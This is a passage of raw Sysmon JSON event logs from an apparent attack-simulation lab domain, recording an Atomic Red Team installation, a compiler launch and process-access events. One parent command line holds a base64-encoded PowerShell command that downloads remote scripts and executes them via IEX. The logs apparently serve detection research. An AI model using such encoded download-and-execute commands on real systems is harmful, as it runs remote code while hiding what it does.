11:55:46.022","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4650,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.022\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Public\\Invoke-WebRequestVerifyHash.ps1\r\nCreationUtcTime: 2020-08-07 11:55:46.022","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.022","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Public\\Invoke-WebRequestVerifyHash.ps1","CreationUtcTime":"2020-08-07 11:55:46.022","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4651,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.022\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Public\\New-Atomic.ps1\r\nCreationUtcTime: 2020-08-07 11:55:46.022","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.022","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Public\\New-Atomic.ps1","CreationUtcTime":"2020-08-07 11:55:46.022","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4652,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.022\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Public\\Start-AtomicGUI.ps1\r\nCreationUtcTime: 2020-08-07 11:55:46.022","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.022","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Public\\Start-AtomicGUI.ps1","CreationUtcTime":"2020-08-07 11:55:46.022","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4653,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.022\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\install-atomicredteam.ps1\r\nCreationUtcTime: 2020-08-07 11:55:46.022","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.022","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\install-atomicredteam.ps1","CreationUtcTime":"2020-08-07 11:55:46.022","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4654,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.022\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\install-atomicsfolder.ps1\r\nCreationUtcTime: 2020-08-07 11:55:46.022","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.022","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\install-atomicsfolder.ps1","CreationUtcTime":"2020-08-07 11:55:46.022","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4655,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:55:46.256\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\unhmgvjw\\unhmgvjw.dll\r\nCreationUtcTime: 2020-08-07 11:55:46.256","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:55:46.256","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\unhmgvjw\\unhmgvjw.dll","CreationUtcTime":"2020-08-07 11:55:46.256","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4656,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.256\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\unhmgvjw\\unhmgvjw.cmdline\r\nCreationUtcTime: 2020-08-07 11:55:46.256","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.256","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\unhmgvjw\\unhmgvjw.cmdline","CreationUtcTime":"2020-08-07 11:55:46.256","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4657,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.265\r\nProcessGuid: {90617006-4142-5F2D-0000-0010A1C30600}\r\nProcessId: 3472\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nFileVersion: 4.7.2053.0 built by: NET47REL1\r\nDescription: Visual C# Command Line Compiler\r\nProduct: Microsoft® .NET Framework\r\nCompany: Microsoft Corporation\r\nOriginalFileName: csc.exe\r\nCommandLine: \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\Administrator\\AppData\\Local\\Temp\\unhmgvjw\\unhmgvjw.cmdline\"\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-413F-5F2D-0000-0020D2720600}\r\nLogonId: 0x672D2\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52\r\nParentProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nParentProcessId: 3656\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAIgBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAEkAbgB0AGUAcgBuAGUAdAAgAEUAeABwAGwAbwByAGUAcgBcAE0AYQBpAG4AIgAgAC0ATgBhAG0AZQAgACIARABpAHMAYQBiAGwAZQBGAGkAcgBzAHQAUgB1AG4AQwB1AHMAdABvAG0AaQB6AGUAIgAgAC0AVgBhAGwAdQBlACAAMgAKAEkARQBYACAAKABJAFcAUgAgAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcgBlAGQAYwBhAG4AYQByAHkAYwBvAC8AaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAC8AbQBhAHMAdABlAHIALwBpAG4AcwB0AGEAbABsAC0AYQB0AG8AbQBpAGMAcgBlAGQAdABlAGEAbQAuAHAAcwAxACkACgBJAG4AcwB0AGEAbABsAC0AQQB0AG8AbQBpAGMAUgBlAGQAVABlAGEAbQAgAC0ARgBvAHIAYwBlAAoASQBFAFgAIAAoAEkAVwBSACAAJwBoAHQAdABwAHMAOgAvAC8AcgBhAHcALgBnAGkAdABoAHUAYgB1AHMAZQByAGMAbwBuAHQAZQBuAHQALgBjAG8AbQAvAHIAZQBkAGMAYQBuAGEAcgB5AGMAbwAvAGkAbgB2AG8AawBlAC0AYQB0AG8AbQBpAGMAcgBlAGQAdABlAGEAbQAvAG0AYQBzAHQAZQByAC8AaQBuAHMAdABhAGwAbAAtAGEAdABvAG0AaQBjAHMAZgBvAGwAZABlAHIALgBwAHMAMQAnACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwApAAoASQBuAHMAdABhAGwAbAAtAEEAdABvAG0AaQBjAHMARgBvAGwAZABlAHIAIAAtAEYAbwByAGMAZQAgAC0AUgBlAHAAbwBPAHcAbgBlAHIAIAAiAHMAcABsAHUAbgBrACIAIAAtAEIAcgBhAG4AYwBoACAAIgBsAG8AYwBhAGwALQBtAGEAcwB0AGUAcgAiAA==","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.265","ProcessGuid":"{90617006-4142-5F2D-0000-0010A1C30600}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","FileVersion":"4.7.2053.0 built by: NET47REL1","Description":"Visual C# Command Line Compiler","Product":"Microsoft® .NET Framework","Company":"Microsoft Corporation","OriginalFileName":"csc.exe","CommandLine":"\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\Administrator\\AppData\\Local\\Temp\\unhmgvjw\\unhmgvjw.cmdline\"","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-413F-5F2D-0000-0020D2720600}","LogonId":"0x672d2","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52","ParentProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","ParentProcessId":"3656","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAIgBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAEkAbgB0AGUAcgBuAGUAdAAgAEUAeABwAGwAbwByAGUAcgBcAE0AYQBpAG4AIgAgAC0ATgBhAG0AZQAgACIARABpAHMAYQBiAGwAZQBGAGkAcgBzAHQAUgB1AG4AQwB1AHMAdABvAG0AaQB6AGUAIgAgAC0AVgBhAGwAdQBlACAAMgAKAEkARQBYACAAKABJAFcAUgAgAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcgBlAGQAYwBhAG4AYQByAHkAYwBvAC8AaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAC8AbQBhAHMAdABlAHIALwBpAG4AcwB0AGEAbABsAC0AYQB0AG8AbQBpAGMAcgBlAGQAdABlAGEAbQAuAHAAcwAxACkACgBJAG4AcwB0AGEAbABsAC0AQQB0AG8AbQBpAGMAUgBlAGQAVABlAGEAbQAgAC0ARgBvAHIAYwBlAAoASQBFAFgAIAAoAEkAVwBSACAAJwBoAHQAdABwAHMAOgAvAC8AcgBhAHcALgBnAGkAdABoAHUAYgB1AHMAZQByAGMAbwBuAHQAZQBuAHQALgBjAG8AbQAvAHIAZQBkAGMAYQBuAGEAcgB5AGMAbwAvAGkAbgB2AG8AawBlAC0AYQB0AG8AbQBpAGMAcgBlAGQAdABlAGEAbQAvAG0AYQBzAHQAZQByAC8AaQBuAHMAdABhAGwAbAAtAGEAdABvAG0AaQBjAHMAZgBvAGwAZABlAHIALgBwAHMAMQAnACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwApAAoASQBuAHMAdABhAGwAbAAtAEEAdABvAG0AaQBjAHMARgBvAGwAZABlAHIAIAAtAEYAbwByAGMAZQAgAC0AUgBlAHAAbwBPAHcAbgBlAHIAIAAiAHMAcABsAHUAbgBrACIAIAAtAEIAcgBhAG4AYwBoACAAIgBsAG8AYwBhAGwALQBtAGEAcwB0AGUAcgAiAA==","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4658,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.256\r\nSourceProcessGUID: {90617006-4140-5F2D-0000-0010159A0600}\r\nSourceProcessId: 3656\r\nSourceThreadId: 3632\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-4142-5F2D-0000-0010A1C30600}\r\nTargetProcessId: 3472\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+270222|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26fe9f|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f9ee|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f97a|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26e48b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c241b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c18c9|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.P521220ea#\\7c5888f012755a21c68b60f0e76e135b\\Microsoft.PowerShell.Commands.Utility.ni.dll+ffb6fffd(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.P521220ea#\\7c5888f012755a21c68b60f0e76e135b\\Microsoft.PowerShell.Commands.Utility.ni.dll+ffb6fffd(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c18821e(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c163ff7(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c163cc8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3cc150dd(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c12485e(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c182d2d(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c166392(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c166392(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c166392(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c166392(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.256","SourceProcessGUID":"{90617006-4140-5F2D-0000-0010159A0600}","SourceProcessId":"3656","SourceThreadId":"3632","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-4142-5F2D-0000-0010A1C30600}","TargetProcessId":"3472","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+270222|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26fe9f|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f9ee|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f97a|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26e48b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c241b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c18c9|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.P521220ea#\\7c5888f012755a21c68b60f0e76e135b\\Microsoft.PowerShell.Commands.Utility.ni.dll+ffb6fffd(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.P521220ea#\\7c5888f012755a21c68b60f0e76e135b\\Microsoft.PowerShell.Commands.Utility.ni.dll+ffb6fffd(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c18821e(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c163ff7(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c163cc8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3cc150dd(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c12485e(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c182d2d(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c166392(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c166392(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c166392(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c166392(wow64)","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4659,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.256\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4142-5F2D-0000-0010A1C30600}\r\nTargetProcessId: 3472\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 